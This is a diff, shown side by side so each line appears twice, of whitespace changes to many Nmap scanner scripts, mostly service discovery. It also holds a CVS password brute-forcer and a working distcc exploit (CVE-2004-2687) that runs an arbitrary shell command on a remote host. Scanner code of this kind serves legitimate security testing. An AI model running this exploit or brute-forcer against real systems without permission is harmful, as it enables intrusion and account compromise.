if ( not(status) ) then return end if ( not(status) ) then return end
local output = {} local output = {}
for _, v in ipairs(result) do for _, v in ipairs(result) do
table.insert(output, v:match("^service:odbms.versant:vod://(.*)$")) table.insert(output, v:match("^service:odbms.versant:vod://(.*)$"))
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -27,45 +27,45 @@ local MAC = stdnse.get_script_args("broadcast-wake-on-lan.MAC")
local address = stdnse.get_script_args("broadcast-wake-on-lan.address") local address = stdnse.get_script_args("broadcast-wake-on-lan.address")
prerule = function() prerule = function()
-- only run if we are ipv4 and have a MAC -- only run if we are ipv4 and have a MAC
return (MAC ~= nil and nmap.address_family() == "inet") return (MAC ~= nil and nmap.address_family() == "inet")
end end
-- Creates the WoL packet based on the remote MAC -- Creates the WoL packet based on the remote MAC
-- @param mac string containing the MAC without delimiters -- @param mac string containing the MAC without delimiters
-- @return packet string containing the raw packet -- @return packet string containing the raw packet
local function createWOLPacket(mac) local function createWOLPacket(mac)
local packet = bin.pack("H", "FFFFFFFFFFFF") local packet = bin.pack("H", "FFFFFFFFFFFF")
for i=1, 16 do for i=1, 16 do
packet = packet .. bin.pack("H", mac) packet = packet .. bin.pack("H", mac)
end end
return packet return packet
end end
action = function() action = function()
local MAC_hex local MAC_hex
if ( MAC:match("%x%x:%x%x:%x%x:%x%x:%x%x:%x%x") ) then if ( MAC:match("%x%x:%x%x:%x%x:%x%x:%x%x:%x%x") ) then
MAC_hex = MAC:gsub(":", "") MAC_hex = MAC:gsub(":", "")
elseif( MAC:match("%x%x%-%x%x%-%x%x%-%x%x%-%x%x%-%x%x") ) then elseif( MAC:match("%x%x%-%x%x%-%x%x%-%x%x%-%x%x%-%x%x") ) then
MAC_hex = MAC:gsub("-", "") MAC_hex = MAC:gsub("-", "")
else else
return "\n ERROR: Failed to process MAC address" return "\n ERROR: Failed to process MAC address"
end end
local host = { ip = address or "255.255.255.255" } local host = { ip = address or "255.255.255.255" }
local port = { number = 9, protocol = "udp" } local port = { number = 9, protocol = "udp" }
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
-- send two packets, just in case -- send two packets, just in case
for i=1,2 do for i=1,2 do
local packet = createWOLPacket(MAC_hex) local packet = createWOLPacket(MAC_hex)
local status, err = socket:sendto(host, port, packet) local status, err = socket:sendto(host, port, packet)
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to send packet" return "\n ERROR: Failed to send packet"
end end
end end
return stdnse.format_output(true, ("Sent WOL packet to: %s"):format(MAC)) return stdnse.format_output(true, ("Sent WOL packet to: %s"):format(MAC))
end end

View File

@@ -54,49 +54,49 @@ prerule = function() return true end
-- the name should be one of the discovery functions in wsdd.Helper -- the name should be one of the discovery functions in wsdd.Helper
-- @param result table into which the results are stored -- @param result table into which the results are stored
discoverThread = function( funcname, results ) discoverThread = function( funcname, results )
-- calculates a timeout based on the timing template (default: 5s) -- calculates a timeout based on the timing template (default: 5s)
local timeout = ( 20000 / ( nmap.timing_level() + 1 ) ) local timeout = ( 20000 / ( nmap.timing_level() + 1 ) )
local condvar = nmap.condvar( results ) local condvar = nmap.condvar( results )
local helper = wsdd.Helper:new() local helper = wsdd.Helper:new()
helper:setMulticast(true) helper:setMulticast(true)
helper:setTimeout(timeout) helper:setTimeout(timeout)
local status, result = helper[funcname](helper) local status, result = helper[funcname](helper)
if ( status ) then table.insert(results, result) end if ( status ) then table.insert(results, result) end
condvar("broadcast") condvar("broadcast")
end end
local function sortfunc(a,b) local function sortfunc(a,b)
if ( a and b and a.name and b.name ) and ( a.name < b.name ) then if ( a and b and a.name and b.name ) and ( a.name < b.name ) then
return true return true
end end
return false return false
end end
action = function() action = function()
local threads, results = {}, {} local threads, results = {}, {}
local condvar = nmap.condvar( results ) local condvar = nmap.condvar( results )
-- Attempt to discover both devices and WCF web services -- Attempt to discover both devices and WCF web services
for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do
threads[stdnse.new_thread( discoverThread, f, results )] = true threads[stdnse.new_thread( discoverThread, f, results )] = true
end end
local done local done
-- wait for all threads to finish -- wait for all threads to finish
while( not(done) ) do while( not(done) ) do
done = true done = true
for thread in pairs(threads) do for thread in pairs(threads) do
if (coroutine.status(thread) ~= "dead") then done = false end if (coroutine.status(thread) ~= "dead") then done = false end
end end
if ( not(done) ) then if ( not(done) ) then
condvar("wait") condvar("wait")
end end
end end
if ( results ) then if ( results ) then
table.sort( results, sortfunc ) table.sort( results, sortfunc )
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
end end

View File

@@ -31,43 +31,43 @@ local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME ..
action = function() action = function()
local host, port = { ip = "255.255.255.255" }, { number = 177, protocol = "udp" } local host, port = { ip = "255.255.255.255" }, { number = 177, protocol = "udp" }
local options = { timeout = 1 } local options = { timeout = 1 }
local helper = xdmcp.Helper:new(host, port, options) local helper = xdmcp.Helper:new(host, port, options)
local status = helper:connect() local status = helper:connect()
local req = xdmcp.Packet[xdmcp.OpCode.BCAST_QUERY]:new(nil) local req = xdmcp.Packet[xdmcp.OpCode.BCAST_QUERY]:new(nil)
local status, err = helper:send(req) local status, err = helper:send(req)
if ( not(status) ) then if ( not(status) ) then
return false, err return false, err
end end
local timeout = arg_timeout or 5 local timeout = arg_timeout or 5
local start = os.time() local start = os.time()
local result = {} local result = {}
repeat repeat
local status, response = helper:recv() local status, response = helper:recv()
if ( not(status) and response ~= "TIMEOUT" ) then if ( not(status) and response ~= "TIMEOUT" ) then
break break
elseif ( status ) then elseif ( status ) then
local status, _, _, rhost = helper.socket:get_info() local status, _, _, rhost = helper.socket:get_info()
if ( response.header.opcode == xdmcp.OpCode.WILLING ) then if ( response.header.opcode == xdmcp.OpCode.WILLING ) then
result[rhost] = true result[rhost] = true
else else
result[rhost] = false result[rhost] = false
end end
end end
until( os.time() - start > timeout ) until( os.time() - start > timeout )
local output = {} local output = {}
for ip, res in pairs(result) do for ip, res in pairs(result) do
if ( res ) then if ( res ) then
table.insert(output, ("%s - Willing"):format(ip)) table.insert(output, ("%s - Willing"):format(ip))
else else
table.insert(output, ("%s - Unwilling"):format(ip)) table.insert(output, ("%s - Unwilling"):format(ip))
end end
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -40,55 +40,55 @@ portrule = shortport.port_or_service({9160}, {"cassandra"})
function action(host,port) function action(host,port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local cassinc = 2 -- cmd/resp starts at 2 local cassinc = 2 -- cmd/resp starts at 2
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(10000) socket:set_timeout(10000)
-- do some exception / cleanup -- do some exception / cleanup
local catch = function() local catch = function()
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
try( socket:connect(host, port) ) try( socket:connect(host, port) )
local results = {} local results = {}
-- uglyness to allow creds.cassandra to work, as the port is not recognized -- uglyness to allow creds.cassandra to work, as the port is not recognized
-- as cassandra even when service scan was run, taken from mongodb -- as cassandra even when service scan was run, taken from mongodb
local ps = port.service local ps = port.service
port.service = 'cassandra' port.service = 'cassandra'
local c = creds.Credentials:new(creds.ALL_DATA, host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port)
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
local status, err = cassandra.login(socket, cred.user, cred.pass) local status, err = cassandra.login(socket, cred.user, cred.pass)
table.insert(results, ("Using credentials: %s"):format(cred.user.."/"..cred.pass)) table.insert(results, ("Using credentials: %s"):format(cred.user.."/"..cred.pass))
if ( not(status) ) then if ( not(status) ) then
return err return err
end end
end end
port.service = ps port.service = ps
local status, val = cassandra.describe_cluster_name(socket,cassinc) local status, val = cassandra.describe_cluster_name(socket,cassinc)
if (not(status)) then if (not(status)) then
return "Error getting cluster name: " .. val return "Error getting cluster name: " .. val
end end
cassinc = cassinc + 1 cassinc = cassinc + 1
port.version.name ='cassandra' port.version.name ='cassandra'
port.version.product='Cassandra' port.version.product='Cassandra'
port.version.name_confidence = 10 port.version.name_confidence = 10
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
table.insert(results, ("Cluster name: %s"):format(val)) table.insert(results, ("Cluster name: %s"):format(val))
local status, val = cassandra.describe_version(socket,cassinc) local status, val = cassandra.describe_version(socket,cassinc)
if (not(status)) then if (not(status)) then
return "Error getting version: " .. val return "Error getting version: " .. val
end end
cassinc = cassinc + 1 cassinc = cassinc + 1
port.version.product='Cassandra ('..val..')' port.version.product='Cassandra ('..val..')'
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
table.insert(results, ("Version: %s"):format(val)) table.insert(results, ("Version: %s"):format(val))
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end

View File

@@ -23,43 +23,43 @@ author = "David Fifield"
local NUM_TRIALS = 2 local NUM_TRIALS = 2
local function trial(host, port) local function trial(host, port)
local status, data, s local status, data, s
s = nmap.new_socket() s = nmap.new_socket()
status, data = s:connect(host, port) status, data = s:connect(host, port)
if not status then if not status then
return return
end end
status, data = s:receive_bytes(0) status, data = s:receive_bytes(0)
if not status then if not status then
s:close() s:close()
return return
end end
s:close() s:close()
return data return data
end end
portrule = shortport.version_port_or_service({10000, 10001, 12000, 12001, 16000, 16001}, "cccam") portrule = shortport.version_port_or_service({10000, 10001, 12000, 12001, 16000, 16001}, "cccam")
function action(host, port) function action(host, port)
local seen = {} local seen = {}
-- Try a couple of times to see that the response isn't constant. (But -- Try a couple of times to see that the response isn't constant. (But
-- more trials also increase the chance that we will reject a legitimate -- more trials also increase the chance that we will reject a legitimate
-- cccam service.) -- cccam service.)
for i = 1, NUM_TRIALS do for i = 1, NUM_TRIALS do
local data local data
data = trial(host, port) data = trial(host, port)
if not data or seen[data] or #data ~= 16 or not formulas.looksRandom(data) then if not data or seen[data] or #data ~= 16 or not formulas.looksRandom(data) then
return return
end end
seen[data] = true seen[data] = true
end end
port.version.name = "cccam" port.version.name = "cccam"
port.version.version = "CCcam DVR card sharing system" port.version.version = "CCcam DVR card sharing system"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end

View File

@@ -34,14 +34,14 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
action = function(host, port) action = function(host, port)
local xmldata = citrixxml.request_server_data(host.ip, port.number) local xmldata = citrixxml.request_server_data(host.ip, port.number)
local servers = citrixxml.parse_server_data_response(xmldata) local servers = citrixxml.parse_server_data_response(xmldata)
local response = {} local response = {}
for _, srv in ipairs(servers) do for _, srv in ipairs(servers) do
table.insert(response, srv) table.insert(response, srv)
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -39,7 +39,7 @@ categories = {"discovery", "safe"}
portrule = shortport.port_or_service({5984}) portrule = shortport.port_or_service({5984})
-- Some lazy shortcuts -- Some lazy shortcuts
local function dbg(str,...) local function dbg(str,...)
stdnse.print_debug("couchdb-get-tables:"..str, ...) stdnse.print_debug("couchdb-get-tables:"..str, ...)
end end
local DISCARD = {} local DISCARD = {}
@@ -49,51 +49,51 @@ local DISCARD = {}
-- @param data a table containg data -- @param data a table containg data
--@return another table containing data, with some keys removed --@return another table containing data, with some keys removed
local function queryResultToTable(data) local function queryResultToTable(data)
local result = {} local result = {}
for k,v in pairs(data) do for k,v in pairs(data) do
dbg("(%s,%s)",k,tostring(v)) dbg("(%s,%s)",k,tostring(v))
if DISCARD[k] ~= 1 then if DISCARD[k] ~= 1 then
if type(v) == 'table' then if type(v) == 'table' then
table.insert(result,k) table.insert(result,k)
table.insert(result,queryResultToTable(v)) table.insert(result,queryResultToTable(v))
else else
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v)))) table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
end end
end end
end end
return result return result
end end
action = function(host, port) action = function(host, port)
local data, result, err local data, result, err
dbg("Requesting all databases") dbg("Requesting all databases")
data = http.get( host, port, '/_all_dbs' ) data = http.get( host, port, '/_all_dbs' )
-- check that body was received -- check that body was received
if not data.body or data.body == "" then if not data.body or data.body == "" then
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip ) local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
dbg( msg ) dbg( msg )
return msg return msg
end end
-- The html body should look like this : -- The html body should look like this :
-- ["somedatabase", "anotherdatabase"] -- ["somedatabase", "anotherdatabase"]
local status, result = json.parse(data.body) local status, result = json.parse(data.body)
if not status then if not status then
dbg(result) dbg(result)
return result return result
end end
-- Here we know it is a couchdb -- Here we know it is a couchdb
port.version.name ='httpd' port.version.name ='httpd'
port.version.product='Apache CouchDB' port.version.product='Apache CouchDB'
nmap.set_port_version(host,port) nmap.set_port_version(host,port)
-- We have a valid table in result containing the parsed json -- We have a valid table in result containing the parsed json
-- now, get all the interesting bits -- now, get all the interesting bits
result = queryResultToTable(result) result = queryResultToTable(result)
return stdnse.format_output(true, result ) return stdnse.format_output(true, result )
end end

View File

@@ -30,12 +30,12 @@ categories = {"auth", "default", "safe"}
postrule = function() postrule = function()
local all = creds.Credentials:new(creds.ALL_DATA) local all = creds.Credentials:new(creds.ALL_DATA)
local tab = all:getTable() local tab = all:getTable()
if ( tab and #tab > 0 ) then return true end if ( tab and #tab > 0 ) then return true end
end end
action = function() action = function()
local all = creds.Credentials:new(creds.ALL_DATA) local all = creds.Credentials:new(creds.ALL_DATA)
return (all and tostring(all) or nil) return (all and tostring(all) or nil)
end end

View File

@@ -47,35 +47,35 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local helper = ipp.Helper:new(host, port) local helper = ipp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local status, printers = helper:getPrinters() local status, printers = helper:getPrinters()
if ( not(status) ) then if ( not(status) ) then
return return
end end
local output = {} local output = {}
for _, printer in ipairs(printers) do for _, printer in ipairs(printers) do
local states = { local states = {
[ipp.IPP.PrinterState.IPP_PRINTER_IDLE] = "Idle", [ipp.IPP.PrinterState.IPP_PRINTER_IDLE] = "Idle",
[ipp.IPP.PrinterState.IPP_PRINTER_PROCESSING] = "Processing", [ipp.IPP.PrinterState.IPP_PRINTER_PROCESSING] = "Processing",
[ipp.IPP.PrinterState.IPP_PRINTER_STOPPED] = "Stopped", [ipp.IPP.PrinterState.IPP_PRINTER_STOPPED] = "Stopped",
} }
local pos, state = bin.unpack(">I", printer.state) local pos, state = bin.unpack(">I", printer.state)
table.insert(output, { table.insert(output, {
name = printer.name, name = printer.name,
("DNS-SD Name: %s"):format(printer.dns_sd_name or ""), ("DNS-SD Name: %s"):format(printer.dns_sd_name or ""),
("Location: %s"):format(printer.location or ""), ("Location: %s"):format(printer.location or ""),
("Model: %s"):format(printer.model or ""), ("Model: %s"):format(printer.model or ""),
("State: %s"):format(states[state] or ""), ("State: %s"):format(states[state] or ""),
("Queue: %s print jobs"):format(tonumber(printer.queue_count) or 0), ("Queue: %s print jobs"):format(tonumber(printer.queue_count) or 0),
} ) } )
end end
if ( 0 ~= #output ) then if ( 0 ~= #output ) then
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end

View File

@@ -37,13 +37,13 @@ portrule = shortport.port_or_service(631, "ipp", "tcp", "open")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local helper = ipp.Helper:new(host, port) local helper = ipp.Helper:new(host, port)
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
local output = helper:getQueueInfo() local output = helper:getQueueInfo()
if ( output ) then if ( output ) then
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end

View File

@@ -43,65 +43,65 @@ portrule = shortport.port_or_service(2401, "cvspserver")
Driver = Driver =
{ {
new = function(self, host, port, repo) new = function(self, host, port, repo)
local o = { repo = repo, helper = cvs.Helper:new(host, port) } local o = { repo = repo, helper = cvs.Helper:new(host, port) }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function( self ) connect = function( self )
self.helper:connect() self.helper:connect()
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
local status, err = self.helper:login( self.repo, username, password ) local status, err = self.helper:login( self.repo, username, password )
if ( status ) then if ( status ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
-- This error seems to indicate tha the user does not exist -- This error seems to indicate tha the user does not exist
if ( err:match("E PAM start error%: Critical error %- immediate abort\0$") ) then if ( err:match("E PAM start error%: Critical error %- immediate abort\0$") ) then
stdnse.print_debug(2, "%s: The user %s does not exist", SCRIPT_NAME, username) stdnse.print_debug(2, "%s: The user %s does not exist", SCRIPT_NAME, username)
local err = brute.Error:new("Account invalid") local err = brute.Error:new("Account invalid")
err:setInvalidAccount(username) err:setInvalidAccount(username)
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.helper:close() self.helper:close()
end, end,
} }
local function getDiscoveredRepos(host) local function getDiscoveredRepos(host)
if ( not(host.registry.cvs_repos)) then if ( not(host.registry.cvs_repos)) then
return return
end end
return host.registry.cvs_repos return host.registry.cvs_repos
end end
action = function(host, port) action = function(host, port)
local repo = stdnse.get_script_args("cvs-brute.repo") and local repo = stdnse.get_script_args("cvs-brute.repo") and
{ stdnse.get_script_args("cvs-brute.repo") } or { stdnse.get_script_args("cvs-brute.repo") } or
getDiscoveredRepos(host) getDiscoveredRepos(host)
if ( not(repo) ) then return "\n ERROR: No CVS repository specified (see cvs-brute.repo)" end if ( not(repo) ) then return "\n ERROR: No CVS repository specified (see cvs-brute.repo)" end
local status, result local status, result
-- If repositories were discovered and not overridden by argument -- If repositories were discovered and not overridden by argument
-- only attempt to brute force the first one. -- only attempt to brute force the first one.
local engine = brute.Engine:new(Driver, host, port, repo[1]) local engine = brute.Engine:new(Driver, host, port, repo[1])
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -21,9 +21,9 @@ categories = {"discovery", "safe"}
portrule = shortport.port_or_service(13, "daytime", {"tcp", "udp"}) portrule = shortport.port_or_service(13, "daytime", {"tcp", "udp"})
action = function(host, port) action = function(host, port)
local status, result = comm.exchange(host, port, "dummy", {lines=1, proto=port.protocol}) local status, result = comm.exchange(host, port, "dummy", {lines=1, proto=port.protocol})
if status then if status then
return result return result
end end
end end

View File

@@ -31,64 +31,64 @@ categories = {"discovery", "safe", "default"}
portrule = shortport.version_port_or_service(523, "ibm-db2", "udp", portrule = shortport.version_port_or_service(523, "ibm-db2", "udp",
{"open", "open|filtered"}) {"open", "open|filtered"})
--- Converts the prodrel server string to a version string --- Converts the prodrel server string to a version string
-- --
-- @param server_version string containing the product release -- @param server_version string containing the product release
-- @return ver string containing the version information -- @return ver string containing the version information
local function parseVersion( server_version ) local function parseVersion( server_version )
local pfx = string.sub(server_version,1,3) local pfx = string.sub(server_version,1,3)
if pfx == "SQL" then if pfx == "SQL" then
local major_version = string.sub(server_version,4,5) local major_version = string.sub(server_version,4,5)
-- strip the leading 0 from the major version, for consistency with -- strip the leading 0 from the major version, for consistency with
-- nmap-service-probes results -- nmap-service-probes results
if string.sub(major_version,1,1) == "0" then if string.sub(major_version,1,1) == "0" then
major_version = string.sub(major_version,2) major_version = string.sub(major_version,2)
end end
local minor_version = string.sub(server_version,6,7) local minor_version = string.sub(server_version,6,7)
local hotfix = string.sub(server_version,8) local hotfix = string.sub(server_version,8)
server_version = major_version .. "." .. minor_version .. "." .. hotfix server_version = major_version .. "." .. minor_version .. "." .. hotfix
else else
return "Unknown version" return "Unknown version"
end end
return ("IBM DB2 v%s"):format(server_version) return ("IBM DB2 v%s"):format(server_version)
end end
action = function(host, port) action = function(host, port)
local DB2GETADDR = "DB2GETADDR\0SQL09010\0" local DB2GETADDR = "DB2GETADDR\0SQL09010\0"
local socket = nmap.new_socket() local socket = nmap.new_socket()
local result = {} local result = {}
socket:set_timeout(5000) socket:set_timeout(5000)
local status, err = socket:connect( host, port, "udp") local status, err = socket:connect( host, port, "udp")
if ( not(status) ) then return end if ( not(status) ) then return end
status, err = socket:send( DB2GETADDR ) status, err = socket:send( DB2GETADDR )
if ( not(status) ) then return end if ( not(status) ) then return end
local data local data
status, data = socket:receive() status, data = socket:receive()
if( not(status) ) then if( not(status) ) then
socket:close() socket:close()
return return
end end
local version, srvname = data:match("DB2RETADDR.(SQL%d+).(.-)\0") local version, srvname = data:match("DB2RETADDR.(SQL%d+).(.-)\0")
if ( status ) then if ( status ) then
table.insert( result, ("Host: %s"):format(srvname) ) table.insert( result, ("Host: %s"):format(srvname) )
table.insert( result, ("Version: %s"):format(parseVersion(version)) ) table.insert( result, ("Version: %s"):format(parseVersion(version)) )
end end
socket:close() socket:close()
-- set port to open -- set port to open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
return stdnse.format_output( true, result ) return stdnse.format_output( true, result )
end end

View File

@@ -40,39 +40,39 @@ portrule = shortport.port_or_service(2628, "dict", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
if ( not(socket:connect(host, port)) ) then if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to dictd server") return fail("Failed to connect to dictd server")
end end
local probes = { local probes = {
'client "dict 1.12.0/rf on Linux 3.0.0-12-generic"', 'client "dict 1.12.0/rf on Linux 3.0.0-12-generic"',
'show server', 'show server',
'quit', 'quit',
} }
if ( not(socket:send(stdnse.strjoin("\r\n", probes) .. "\r\n")) ) then if ( not(socket:send(stdnse.strjoin("\r\n", probes) .. "\r\n")) ) then
return fail("Failed to send request to server") return fail("Failed to send request to server")
end end
local srvinfo local srvinfo
repeat repeat
local status, data = socket:receive_buf("\r\n", false) local status, data = socket:receive_buf("\r\n", false)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to read response from server") return fail("Failed to read response from server")
elseif ( data:match("^5") ) then elseif ( data:match("^5") ) then
return fail(data) return fail(data)
elseif ( data:match("^114") ) then elseif ( data:match("^114") ) then
srvinfo = {} srvinfo = {}
elseif ( srvinfo and not(data:match("^%.$")) ) then elseif ( srvinfo and not(data:match("^%.$")) ) then
table.insert(srvinfo, data) table.insert(srvinfo, data)
end end
until(not(status) or data:match("^221") or data:match("^%.$")) until(not(status) or data:match("^221") or data:match("^%.$"))
socket:close() socket:close()
-- if last item is an empty string remove it, to avoid trailing line feed -- if last item is an empty string remove it, to avoid trailing line feed
srvinfo[#srvinfo] = ( srvinfo[#srvinfo] ~= "" and srvinfo[#srvinfo] or nil ) srvinfo[#srvinfo] = ( srvinfo[#srvinfo] ~= "" and srvinfo[#srvinfo] or nil )
return stdnse.format_output(true, srvinfo) return stdnse.format_output(true, srvinfo)
end end

View File

@@ -53,56 +53,56 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local distcc_vuln = { local distcc_vuln = {
title = "distcc Daemon Command Execution", title = "distcc Daemon Command Execution",
IDS = {CVE = 'CVE-2004-2687'}, IDS = {CVE = 'CVE-2004-2687'},
risk_factor = "High", risk_factor = "High",
scores = { scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
}, },
description = [[ description = [[
Allows executing of arbitrary commands on systems running distccd 3.1 and Allows executing of arbitrary commands on systems running distccd 3.1 and
earlier. The vulnerability is the consequence of weak service configuration. earlier. The vulnerability is the consequence of weak service configuration.
]], ]],
references = { references = {
'http://http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2687', 'http://http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2687',
'http://http://www.osvdb.org/13378', 'http://http://www.osvdb.org/13378',
'http://distcc.googlecode.com/svn/trunk/doc/web/security.html', 'http://distcc.googlecode.com/svn/trunk/doc/web/security.html',
}, },
dates = { disclosure = {year = '2002', month = '02', day = '01'}, }, dates = { disclosure = {year = '2002', month = '02', day = '01'}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
distcc_vuln.state = vulns.STATE.NOT_VULN distcc_vuln.state = vulns.STATE.NOT_VULN
local socket = nmap.new_socket() local socket = nmap.new_socket()
if ( not(socket:connect(host, port)) ) then if ( not(socket:connect(host, port)) ) then
return fail("Failed to connect to distcc server") return fail("Failed to connect to distcc server")
end end
local cmds = { local cmds = {
"DIST00000001", "DIST00000001",
("ARGC00000008ARGV00000002shARGV00000002-cARGV%08.8xsh -c " .. ("ARGC00000008ARGV00000002shARGV00000002-cARGV%08.8xsh -c " ..
"'(%s)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002" .. "'(%s)'ARGV00000001#ARGV00000002-cARGV00000006main.cARGV00000002" ..
"-oARGV00000006main.o"):format(10 + #arg_cmd, arg_cmd), "-oARGV00000006main.o"):format(10 + #arg_cmd, arg_cmd),
"DOTI00000001A\n", "DOTI00000001A\n",
} }
for _, cmd in ipairs(cmds) do for _, cmd in ipairs(cmds) do
if ( not(socket:send(cmd)) ) then if ( not(socket:send(cmd)) ) then
return fail("Failed to send data to distcc server") return fail("Failed to send data to distcc server")
end end
end end
local status, data = socket:receive_buf("DOTO00000000", false) local status, data = socket:receive_buf("DOTO00000000", false)
if ( status ) then if ( status ) then
local output = data:match("SOUT%w%w%w%w%w%w%w%w(.*)") local output = data:match("SOUT%w%w%w%w%w%w%w%w(.*)")
if (output and #output > 0) then if (output and #output > 0) then
distcc_vuln.extra_info = stdnse.format_output(true, output) distcc_vuln.extra_info = stdnse.format_output(true, output)
distcc_vuln.state = vulns.STATE.EXPLOIT distcc_vuln.state = vulns.STATE.EXPLOIT
return report:make_output(distcc_vuln) return report:make_output(distcc_vuln)
end end
end end
end end

View File

@@ -55,13 +55,13 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.portnumber(5353, "udp") portrule = shortport.portnumber(5353, "udp")
action = function(host, port) action = function(host, port)
local helper = dnssd.Helper:new( host, port ) local helper = dnssd.Helper:new( host, port )
local status, result = helper:queryServices() local status, result = helper:queryServices()
if ( status ) then if ( status ) then
-- set port to open -- set port to open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -50,55 +50,55 @@ portrule = shortport.port_or_service( 53, "dns", "udp", {"open", "open|filtered"
local function test(host, port) local function test(host, port)
local status, err = dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="10.10.10.10" } ) local status, err = dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="10.10.10.10" } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "www2", { zone="cqure.net", host=host, port=port, dtype="A", data="10.10.10.10" } ) status, err = dns.update( "www2", { zone="cqure.net", host=host, port=port, dtype="A", data="10.10.10.10" } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="www.cqure.net" } ) status, err = dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="www.cqure.net" } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "cqure.net", { host=host, port=port, dtype="MX", data={ pref=10, mx="mail.cqure.net"} }) status, err = dns.update( "cqure.net", { host=host, port=port, dtype="MX", data={ pref=10, mx="mail.cqure.net"} })
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data={ prio=0, weight=100, port=389, target="ldap.cqure.net" } } ) status, err = dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data={ prio=0, weight=100, port=389, target="ldap.cqure.net" } } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } ) status, err = dns.update( "www.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
